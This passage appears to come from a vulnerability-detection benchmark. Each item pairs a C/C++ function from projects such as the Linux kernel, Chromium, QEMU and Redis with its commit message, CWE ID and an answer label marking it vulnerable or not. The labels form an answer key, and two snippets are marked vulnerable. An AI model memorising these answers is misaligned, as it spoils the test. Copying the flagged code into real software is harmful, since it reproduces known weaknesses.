Commit-Queue: Alex Moshchuk <alexmos@chromium.org>
Reviewed-by: Charlie Reis <creis@chromium.org>
Cr-Commit-Position: refs/heads/master@{#594914}
CWE ID:
| 0
| 1,353
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static unsigned computeMatchedPropertiesHash(const MatchedProperties* properties, unsigned size)
{
return StringHasher::hashMemory(properties, sizeof(MatchedProperties) * size);
}
Commit Message: Remove the Simple Default Stylesheet, it's just a foot-gun.
We've been bitten by the Simple Default Stylesheet being out
of sync with the real html.css twice this week.
The Simple Default Stylesheet was invented years ago for Mac:
http://trac.webkit.org/changeset/36135
It nicely handles the case where you just want to create
a single WebView and parse some simple HTML either without
styling said HTML, or only to display a small string, etc.
Note that this optimization/complexity *only* helps for the
very first document, since the default stylesheets are
all static (process-global) variables. Since any real page
on the internet uses a tag not covered by the simple default
stylesheet, not real load benefits from this optimization.
Only uses of WebView which were just rendering small bits
of text might have benefited from this. about:blank would
also have used this sheet.
This was a common application for some uses of WebView back
in those days. These days, even with WebView on Android,
there are likely much larger overheads than parsing the
html.css stylesheet, so making it required seems like the
right tradeoff of code-simplicity for this case.
BUG=319556
Review URL: https://codereview.chromium.org/73723005
git-svn-id: svn://svn.chromium.org/blink/trunk@162153 bbb929c8-8fbe-4397-9dbb-9b2b20218538
CWE ID: CWE-399
| 0
| 2,759
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int hub_port_status(struct usb_hub *hub, int port1,
u16 *status, u16 *change)
{
return hub_ext_port_status(hub, port1, HUB_PORT_STATUS,
status, change, NULL);
}
Commit Message: USB: check usb_get_extra_descriptor for proper size
When reading an extra descriptor, we need to properly check the minimum
and maximum size allowed, to prevent from invalid data being sent by a
device.
Reported-by: Hui Peng <benquike@gmail.com>
Reported-by: Mathias Payer <mathias.payer@nebelwelt.net>
Co-developed-by: Linus Torvalds <torvalds@linux-foundation.org>
Signed-off-by: Hui Peng <benquike@gmail.com>
Signed-off-by: Mathias Payer <mathias.payer@nebelwelt.net>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Cc: stable <stable@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-400
| 0
| 17,684
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ArthurOutputDev::updateMiterLimit(GfxState *state)
{
}
Commit Message:
CWE ID: CWE-189
| 0
| 14,784
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: do_note_netbsd_version(struct magic_set *ms, int swap, void *v)
{
uint32_t desc;
(void)memcpy(&desc, v, sizeof(desc));
desc = elf_getu32(swap, desc);
if (file_printf(ms, ", for NetBSD") == -1)
return;
/*
* The version number used to be stuck as 199905, and was thus
* basically content-free. Newer versions of NetBSD have fixed
* this and now use the encoding of __NetBSD_Version__:
*
* MMmmrrpp00
*
* M = major version
* m = minor version
* r = release ["",A-Z,Z[A-Z] but numeric]
* p = patchlevel
*/
if (desc > 100000000U) {
uint32_t ver_patch = (desc / 100) % 100;
uint32_t ver_rel = (desc / 10000) % 100;
uint32_t ver_min = (desc / 1000000) % 100;
uint32_t ver_maj = desc / 100000000;
if (file_printf(ms, " %u.%u", ver_maj, ver_min) == -1)
return;
if (ver_rel == 0 && ver_patch != 0) {
if (file_printf(ms, ".%u", ver_patch) == -1)
return;
} else if (ver_rel != 0) {
while (ver_rel > 26) {
if (file_printf(ms, "Z") == -1)
return;
ver_rel -= 26;
}
if (file_printf(ms, "%c", 'A' + ver_rel - 1)
== -1)
return;
}
}
}
Commit Message: Stop reporting bad capabilities after the first few.
CWE ID: CWE-399
| 0
| 11,508
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int tcp_v6_send_synack(struct sock *sk, struct request_sock *req,
struct request_values *rvp)
{
struct inet6_request_sock *treq = inet6_rsk(req);
struct ipv6_pinfo *np = inet6_sk(sk);
struct sk_buff * skb;
struct ipv6_txoptions *opt = NULL;
struct in6_addr * final_p, final;
struct flowi6 fl6;
struct dst_entry *dst;
int err;
memset(&fl6, 0, sizeof(fl6));
fl6.flowi6_proto = IPPROTO_TCP;
ipv6_addr_copy(&fl6.daddr, &treq->rmt_addr);
ipv6_addr_copy(&fl6.saddr, &treq->loc_addr);
fl6.flowlabel = 0;
fl6.flowi6_oif = treq->iif;
fl6.flowi6_mark = sk->sk_mark;
fl6.fl6_dport = inet_rsk(req)->rmt_port;
fl6.fl6_sport = inet_rsk(req)->loc_port;
security_req_classify_flow(req, flowi6_to_flowi(&fl6));
opt = np->opt;
final_p = fl6_update_dst(&fl6, opt, &final);
dst = ip6_dst_lookup_flow(sk, &fl6, final_p, false);
if (IS_ERR(dst)) {
err = PTR_ERR(dst);
dst = NULL;
goto done;
}
skb = tcp_make_synack(sk, dst, req, rvp);
err = -ENOMEM;
if (skb) {
__tcp_v6_send_check(skb, &treq->loc_addr, &treq->rmt_addr);
ipv6_addr_copy(&fl6.daddr, &treq->rmt_addr);
err = ip6_xmit(sk, skb, &fl6, opt);
err = net_xmit_eval(err);
}
done:
if (opt && opt != np->opt)
sock_kfree_s(sk, opt, opt->tot_len);
dst_release(dst);
return err;
}
Commit Message: inet: add RCU protection to inet->opt
We lack proper synchronization to manipulate inet->opt ip_options
Problem is ip_make_skb() calls ip_setup_cork() and
ip_setup_cork() possibly makes a copy of ipc->opt (struct ip_options),
without any protection against another thread manipulating inet->opt.
Another thread can change inet->opt pointer and free old one under us.
Use RCU to protect inet->opt (changed to inet->inet_opt).
Instead of handling atomic refcounts, just copy ip_options when
necessary, to avoid cache line dirtying.
We cant insert an rcu_head in struct ip_options since its included in
skb->cb[], so this patch is large because I had to introduce a new
ip_options_rcu structure.
Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
Cc: Herbert Xu <herbert@gondor.apana.org.au>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-362
| 0
| 18,209
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: VisibleSelection FrameSelection::ComputeVisibleSelectionInDOMTree() const {
return selection_editor_->ComputeVisibleSelectionInDOMTree();
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <mblsha@yandex-team.ru>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID:
| 0
| 8,697
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: irc_server_get_prefix_char_index (struct t_irc_server *server,
char prefix_char)
{
const char *prefix_chars;
char *pos;
if (server)
{
prefix_chars = irc_server_get_prefix_chars (server);
pos = strchr (prefix_chars, prefix_char);
if (pos)
return pos - prefix_chars;
}
return -1;
}
Commit Message:
CWE ID: CWE-20
| 0
| 19,609
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void sparc_pmu_enable_event(struct cpu_hw_events *cpuc, struct hw_perf_event *hwc, int idx)
{
u64 val, mask = mask_for_index(idx);
val = cpuc->pcr;
val &= ~mask;
val |= hwc->config;
cpuc->pcr = val;
pcr_ops->write(cpuc->pcr);
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-399
| 0
| 20,672
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void GLES2Implementation::GetActiveUniformBlockName(GLuint program,
GLuint index,
GLsizei bufsize,
GLsizei* length,
char* name) {
GPU_CLIENT_SINGLE_THREAD_CHECK();
GPU_CLIENT_LOG("[" << GetLogPrefix() << "] glGetActiveUniformBlockName("
<< program << ", " << index << ", " << bufsize << ", "
<< static_cast<const void*>(length) << ", "
<< static_cast<const void*>(name) << ")");
if (bufsize < 0) {
SetGLError(GL_INVALID_VALUE, "glGetActiveUniformBlockName", "bufsize < 0");
return;
}
TRACE_EVENT0("gpu", "GLES2::GetActiveUniformBlockName");
bool success =
share_group_->program_info_manager()->GetActiveUniformBlockName(
this, program, index, bufsize, length, name);
if (success) {
if (name) {
GPU_CLIENT_LOG(" name: " << name);
}
}
CheckGLError();
}
Commit Message: Add GL_PROGRAM_COMPLETION_QUERY_CHROMIUM
This makes the query of GL_COMPLETION_STATUS_KHR to programs much
cheaper by minimizing the round-trip to the GPU thread.
Bug: 881152, 957001
Change-Id: Iadfa798af29225e752c710ca5c25f50b3dd3101a
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1586630
Commit-Queue: Kenneth Russell <kbr@chromium.org>
Reviewed-by: Kentaro Hara <haraken@chromium.org>
Reviewed-by: Geoff Lang <geofflang@chromium.org>
Reviewed-by: Kenneth Russell <kbr@chromium.org>
Cr-Commit-Position: refs/heads/master@{#657568}
CWE ID: CWE-416
| 0
| 10,248
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: aspath_put (struct stream *s, struct aspath *as, int use32bit )
{
struct assegment *seg = as->segments;
size_t bytes = 0;
if (!seg || seg->length == 0)
return 0;
if (seg)
{
/*
* Hey, what do we do when we have > STREAM_WRITABLE(s) here?
* At the moment, we would write out a partial aspath, and our peer
* will complain and drop the session :-/
*
* The general assumption here is that many things tested will
* never happen. And, in real live, up to now, they have not.
*/
while (seg && (ASSEGMENT_LEN(seg, use32bit) <= STREAM_WRITEABLE(s)))
{
struct assegment *next = seg->next;
int written = 0;
int asns_packed = 0;
size_t lenp;
/* Overlength segments have to be split up */
while ( (seg->length - written) > AS_SEGMENT_MAX)
{
assegment_header_put (s, seg->type, AS_SEGMENT_MAX);
assegment_data_put (s, seg->as, AS_SEGMENT_MAX, use32bit);
written += AS_SEGMENT_MAX;
bytes += ASSEGMENT_SIZE (written, use32bit);
}
/* write the final segment, probably is also the first */
lenp = assegment_header_put (s, seg->type, seg->length - written);
assegment_data_put (s, (seg->as + written), seg->length - written,
use32bit);
/* Sequence-type segments can be 'packed' together
* Case of a segment which was overlength and split up
* will be missed here, but that doesn't matter.
*/
while (next && ASSEGMENTS_PACKABLE (seg, next))
{
/* NB: We should never normally get here given we
* normalise aspath data when parse them. However, better
* safe than sorry. We potentially could call
* assegment_normalise here instead, but it's cheaper and
* easier to do it on the fly here rather than go through
* the segment list twice every time we write out
* aspath's.
*/
/* Next segment's data can fit in this one */
assegment_data_put (s, next->as, next->length, use32bit);
/* update the length of the segment header */
stream_putc_at (s, lenp, seg->length - written + next->length);
asns_packed += next->length;
next = next->next;
}
bytes += ASSEGMENT_SIZE (seg->length - written + asns_packed,
use32bit);
seg = next;
}
}
return bytes;
}
Commit Message:
CWE ID: CWE-20
| 1
| 17,750
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static uint32_t vmsvga_value_read(void *opaque, uint32_t address)
{
uint32_t caps;
struct vmsvga_state_s *s = opaque;
DisplaySurface *surface = qemu_console_surface(s->vga.con);
PixelFormat pf;
uint32_t ret;
switch (s->index) {
case SVGA_REG_ID:
ret = s->svgaid;
break;
case SVGA_REG_ENABLE:
ret = s->enable;
break;
case SVGA_REG_WIDTH:
ret = s->new_width ? s->new_width : surface_width(surface);
break;
case SVGA_REG_HEIGHT:
ret = s->new_height ? s->new_height : surface_height(surface);
break;
case SVGA_REG_MAX_WIDTH:
ret = SVGA_MAX_WIDTH;
break;
case SVGA_REG_MAX_HEIGHT:
ret = SVGA_MAX_HEIGHT;
break;
case SVGA_REG_DEPTH:
ret = (s->new_depth == 32) ? 24 : s->new_depth;
break;
case SVGA_REG_BITS_PER_PIXEL:
case SVGA_REG_HOST_BITS_PER_PIXEL:
ret = s->new_depth;
break;
case SVGA_REG_PSEUDOCOLOR:
ret = 0x0;
break;
case SVGA_REG_RED_MASK:
pf = qemu_default_pixelformat(s->new_depth);
ret = pf.rmask;
break;
case SVGA_REG_GREEN_MASK:
pf = qemu_default_pixelformat(s->new_depth);
ret = pf.gmask;
break;
case SVGA_REG_BLUE_MASK:
pf = qemu_default_pixelformat(s->new_depth);
ret = pf.bmask;
break;
case SVGA_REG_BYTES_PER_LINE:
if (s->new_width) {
ret = (s->new_depth * s->new_width) / 8;
} else {
ret = surface_stride(surface);
}
break;
case SVGA_REG_FB_START: {
struct pci_vmsvga_state_s *pci_vmsvga
= container_of(s, struct pci_vmsvga_state_s, chip);
ret = pci_get_bar_addr(PCI_DEVICE(pci_vmsvga), 1);
break;
}
case SVGA_REG_FB_OFFSET:
ret = 0x0;
break;
case SVGA_REG_VRAM_SIZE:
ret = s->vga.vram_size; /* No physical VRAM besides the framebuffer */
break;
case SVGA_REG_FB_SIZE:
ret = s->vga.vram_size;
break;
case SVGA_REG_CAPABILITIES:
caps = SVGA_CAP_NONE;
#ifdef HW_RECT_ACCEL
caps |= SVGA_CAP_RECT_COPY;
#endif
#ifdef HW_FILL_ACCEL
caps |= SVGA_CAP_RECT_FILL;
#endif
#ifdef HW_MOUSE_ACCEL
if (dpy_cursor_define_supported(s->vga.con)) {
caps |= SVGA_CAP_CURSOR | SVGA_CAP_CURSOR_BYPASS_2 |
SVGA_CAP_CURSOR_BYPASS;
}
#endif
ret = caps;
break;
case SVGA_REG_MEM_START: {
struct pci_vmsvga_state_s *pci_vmsvga
= container_of(s, struct pci_vmsvga_state_s, chip);
ret = pci_get_bar_addr(PCI_DEVICE(pci_vmsvga), 2);
break;
}
case SVGA_REG_MEM_SIZE:
ret = s->fifo_size;
break;
case SVGA_REG_CONFIG_DONE:
ret = s->config;
break;
case SVGA_REG_SYNC:
case SVGA_REG_BUSY:
ret = s->syncing;
break;
case SVGA_REG_GUEST_ID:
ret = s->guest;
break;
case SVGA_REG_CURSOR_ID:
ret = s->cursor.id;
break;
case SVGA_REG_CURSOR_X:
ret = s->cursor.x;
break;
case SVGA_REG_CURSOR_Y:
ret = s->cursor.y;
break;
case SVGA_REG_CURSOR_ON:
ret = s->cursor.on;
break;
case SVGA_REG_SCRATCH_SIZE:
ret = s->scratch_size;
break;
case SVGA_REG_MEM_REGS:
case SVGA_REG_NUM_DISPLAYS:
case SVGA_REG_PITCHLOCK:
case SVGA_PALETTE_BASE ... SVGA_PALETTE_END:
ret = 0;
break;
default:
if (s->index >= SVGA_SCRATCH_BASE &&
s->index < SVGA_SCRATCH_BASE + s->scratch_size) {
ret = s->scratch[s->index - SVGA_SCRATCH_BASE];
break;
}
printf("%s: Bad register %02x\n", __func__, s->index);
ret = 0;
break;
}
if (s->index >= SVGA_SCRATCH_BASE) {
trace_vmware_scratch_read(s->index, ret);
} else if (s->index >= SVGA_PALETTE_BASE) {
trace_vmware_palette_read(s->index, ret);
} else {
trace_vmware_value_read(s->index, ret);
}
return ret;
}
Commit Message:
CWE ID: CWE-787
| 0
| 21,997
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: unsigned long perf_instruction_pointer(struct pt_regs *regs)
{
unsigned long ip;
if (TRAP(regs) != 0xf00)
return regs->nip; /* not a PMU interrupt */
ip = mfspr(SPRN_SIAR) + perf_ip_adjust(regs);
return ip;
}
Commit Message: perf, powerpc: Handle events that raise an exception without overflowing
Events on POWER7 can roll back if a speculative event doesn't
eventually complete. Unfortunately in some rare cases they will
raise a performance monitor exception. We need to catch this to
ensure we reset the PMC. In all cases the PMC will be 256 or less
cycles from overflow.
Signed-off-by: Anton Blanchard <anton@samba.org>
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: <stable@kernel.org> # as far back as it applies cleanly
LKML-Reference: <20110309143842.6c22845e@kryten>
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-189
| 0
| 6,069
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void tg3_phy_gather_ump_data(struct tg3 *tp, u32 *data)
{
u32 reg, val;
val = 0;
if (!tg3_readphy(tp, MII_BMCR, ®))
val = reg << 16;
if (!tg3_readphy(tp, MII_BMSR, ®))
val |= (reg & 0xffff);
*data++ = val;
val = 0;
if (!tg3_readphy(tp, MII_ADVERTISE, ®))
val = reg << 16;
if (!tg3_readphy(tp, MII_LPA, ®))
val |= (reg & 0xffff);
*data++ = val;
val = 0;
if (!(tp->phy_flags & TG3_PHYFLG_MII_SERDES)) {
if (!tg3_readphy(tp, MII_CTRL1000, ®))
val = reg << 16;
if (!tg3_readphy(tp, MII_STAT1000, ®))
val |= (reg & 0xffff);
}
*data++ = val;
if (!tg3_readphy(tp, MII_PHYADDR, ®))
val = reg << 16;
else
val = 0;
*data++ = val;
}
Commit Message: tg3: fix length overflow in VPD firmware parsing
Commit 184b89044fb6e2a74611dafa69b1dce0d98612c6 ("tg3: Use VPD fw version
when present") introduced VPD parsing that contained a potential length
overflow.
Limit the hardware's reported firmware string length (max 255 bytes) to
stay inside the driver's firmware string length (32 bytes). On overflow,
truncate the formatted firmware string instead of potentially overwriting
portions of the tg3 struct.
http://cansecwest.com/slides/2013/PrivateCore%20CSW%202013.pdf
Signed-off-by: Kees Cook <keescook@chromium.org>
Reported-by: Oded Horovitz <oded@privatecore.com>
Reported-by: Brad Spengler <spender@grsecurity.net>
Cc: stable@vger.kernel.org
Cc: Matt Carlson <mcarlson@broadcom.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-119
| 0
| 26,692
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int acm_tty_write_room(struct tty_struct *tty)
{
struct acm *acm = tty->driver_data;
/*
* Do not let the line discipline to know that we have a reserve,
* or it might get too enthusiastic.
*/
return acm_wb_is_avail(acm) ? acm->writesize : 0;
}
Commit Message: USB: cdc-acm: more sanity checking
An attack has become available which pretends to be a quirky
device circumventing normal sanity checks and crashes the kernel
by an insufficient number of interfaces. This patch adds a check
to the code path for quirky devices.
Signed-off-by: Oliver Neukum <ONeukum@suse.com>
CC: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID:
| 0
| 7,964
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: xscale1pmu_write_counter(int counter, u32 val)
{
switch (counter) {
case XSCALE_CYCLE_COUNTER:
asm volatile("mcr p14, 0, %0, c1, c0, 0" : : "r" (val));
break;
case XSCALE_COUNTER0:
asm volatile("mcr p14, 0, %0, c2, c0, 0" : : "r" (val));
break;
case XSCALE_COUNTER1:
asm volatile("mcr p14, 0, %0, c3, c0, 0" : : "r" (val));
break;
}
}
Commit Message: perf: Remove the nmi parameter from the swevent and overflow interface
The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-399
| 0
| 11,025
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void getKeyFreqs(redisReply *keys, unsigned long long *freqs) {
redisReply *reply;
unsigned int i;
/* Pipeline OBJECT freq commands */
for(i=0;i<keys->elements;i++) {
redisAppendCommand(context, "OBJECT freq %s", keys->element[i]->str);
}
/* Retrieve freqs */
for(i=0;i<keys->elements;i++) {
if(redisGetReply(context, (void**)&reply)!=REDIS_OK) {
fprintf(stderr, "Error getting freq for key '%s' (%d: %s)\n",
keys->element[i]->str, context->err, context->errstr);
exit(1);
} else if(reply->type != REDIS_REPLY_INTEGER) {
if(reply->type == REDIS_REPLY_ERROR) {
fprintf(stderr, "Error: %s\n", reply->str);
exit(1);
} else {
fprintf(stderr, "Warning: OBJECT freq on '%s' failed (may have been deleted)\n", keys->element[i]->str);
freqs[i] = 0;
}
} else {
freqs[i] = reply->integer;
}
freeReplyObject(reply);
}
}
Commit Message: Security: fix redis-cli buffer overflow.
Thanks to Fakhri Zulkifli for reporting it.
The fix switched to dynamic allocation, copying the final prompt in the
static buffer only at the end.
CWE ID: CWE-119
| 0
| 1,681
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: PaintArtifactCompositor::PendingLayer::PendingLayer(
const PaintChunk& first_paint_chunk,
size_t chunk_index,
bool chunk_requires_own_layer)
: bounds(first_paint_chunk.bounds),
rect_known_to_be_opaque(
first_paint_chunk.known_to_be_opaque ? bounds : FloatRect()),
property_tree_state(first_paint_chunk.properties.GetPropertyTreeState()),
requires_own_layer(chunk_requires_own_layer) {
paint_chunk_indices.push_back(chunk_index);
}
Commit Message: Reland "[CI] Make paint property nodes non-ref-counted"
This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7.
Reason for revert: Retry in M69.
Original change's description:
> Revert "[CI] Make paint property nodes non-ref-counted"
>
> This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123.
>
> Reason for revert: Caused bugs found by clusterfuzz
>
> Original change's description:
> > [CI] Make paint property nodes non-ref-counted
> >
> > Now all paint property nodes are owned by ObjectPaintProperties
> > (and LocalFrameView temporarily before removing non-RLS mode).
> > Others just use raw pointers or references.
> >
> > Bug: 833496
> > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae
> > Reviewed-on: https://chromium-review.googlesource.com/1031101
> > Reviewed-by: Tien-Ren Chen <trchen@chromium.org>
> > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> > Cr-Commit-Position: refs/heads/master@{#554626}
>
> TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
>
> Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f
> No-Presubmit: true
> No-Tree-Checks: true
> No-Try: true
> Bug: 833496,837932,837943
> Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
> Reviewed-on: https://chromium-review.googlesource.com/1034292
> Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
> Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#554653}
TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org
# Not skipping CQ checks because original CL landed > 1 day ago.
Bug: 833496, 837932, 837943
Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992
Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2
Reviewed-on: https://chromium-review.googlesource.com/1083491
Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org>
Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#563930}
CWE ID:
| 1
| 15,165
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int gs_cmd_reset(struct gs_usb *gsusb, struct gs_can *gsdev)
{
struct gs_device_mode *dm;
struct usb_interface *intf = gsdev->iface;
int rc;
dm = kzalloc(sizeof(*dm), GFP_KERNEL);
if (!dm)
return -ENOMEM;
dm->mode = GS_CAN_MODE_RESET;
rc = usb_control_msg(interface_to_usbdev(intf),
usb_sndctrlpipe(interface_to_usbdev(intf), 0),
GS_USB_BREQ_MODE,
USB_DIR_OUT|USB_TYPE_VENDOR|USB_RECIP_INTERFACE,
gsdev->channel,
0,
dm,
sizeof(*dm),
1000);
return rc;
}
Commit Message: can: gs_usb: Don't use stack memory for USB transfers
Fixes: 05ca5270005c can: gs_usb: add ethtool set_phys_id callback to locate physical device
The gs_usb driver is performing USB transfers using buffers allocated on
the stack. This causes the driver to not function with vmapped stacks.
Instead, allocate memory for the transfer buffers.
Signed-off-by: Ethan Zonca <e@ethanzonca.com>
Cc: linux-stable <stable@vger.kernel.org> # >= v4.8
Signed-off-by: Marc Kleine-Budde <mkl@pengutronix.de>
CWE ID: CWE-119
| 0
| 37
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int nf_tables_dump_chains(struct sk_buff *skb,
struct netlink_callback *cb)
{
const struct nfgenmsg *nfmsg = nlmsg_data(cb->nlh);
const struct nft_af_info *afi;
const struct nft_table *table;
const struct nft_chain *chain;
unsigned int idx = 0, s_idx = cb->args[0];
struct net *net = sock_net(skb->sk);
int family = nfmsg->nfgen_family;
rcu_read_lock();
cb->seq = net->nft.base_seq;
list_for_each_entry_rcu(afi, &net->nft.af_info, list) {
if (family != NFPROTO_UNSPEC && family != afi->family)
continue;
list_for_each_entry_rcu(table, &afi->tables, list) {
list_for_each_entry_rcu(chain, &table->chains, list) {
if (idx < s_idx)
goto cont;
if (idx > s_idx)
memset(&cb->args[1], 0,
sizeof(cb->args) - sizeof(cb->args[0]));
if (nf_tables_fill_chain_info(skb, net,
NETLINK_CB(cb->skb).portid,
cb->nlh->nlmsg_seq,
NFT_MSG_NEWCHAIN,
NLM_F_MULTI,
afi->family, table, chain) < 0)
goto done;
nl_dump_check_consistent(cb, nlmsg_hdr(skb));
cont:
idx++;
}
}
}
done:
rcu_read_unlock();
cb->args[0] = idx;
return skb->len;
}
Commit Message: netfilter: nf_tables: fix flush ruleset chain dependencies
Jumping between chains doesn't mix well with flush ruleset. Rules
from a different chain and set elements may still refer to us.
[ 353.373791] ------------[ cut here ]------------
[ 353.373845] kernel BUG at net/netfilter/nf_tables_api.c:1159!
[ 353.373896] invalid opcode: 0000 [#1] SMP
[ 353.373942] Modules linked in: intel_powerclamp uas iwldvm iwlwifi
[ 353.374017] CPU: 0 PID: 6445 Comm: 31c3.nft Not tainted 3.18.0 #98
[ 353.374069] Hardware name: LENOVO 5129CTO/5129CTO, BIOS 6QET47WW (1.17 ) 07/14/2010
[...]
[ 353.375018] Call Trace:
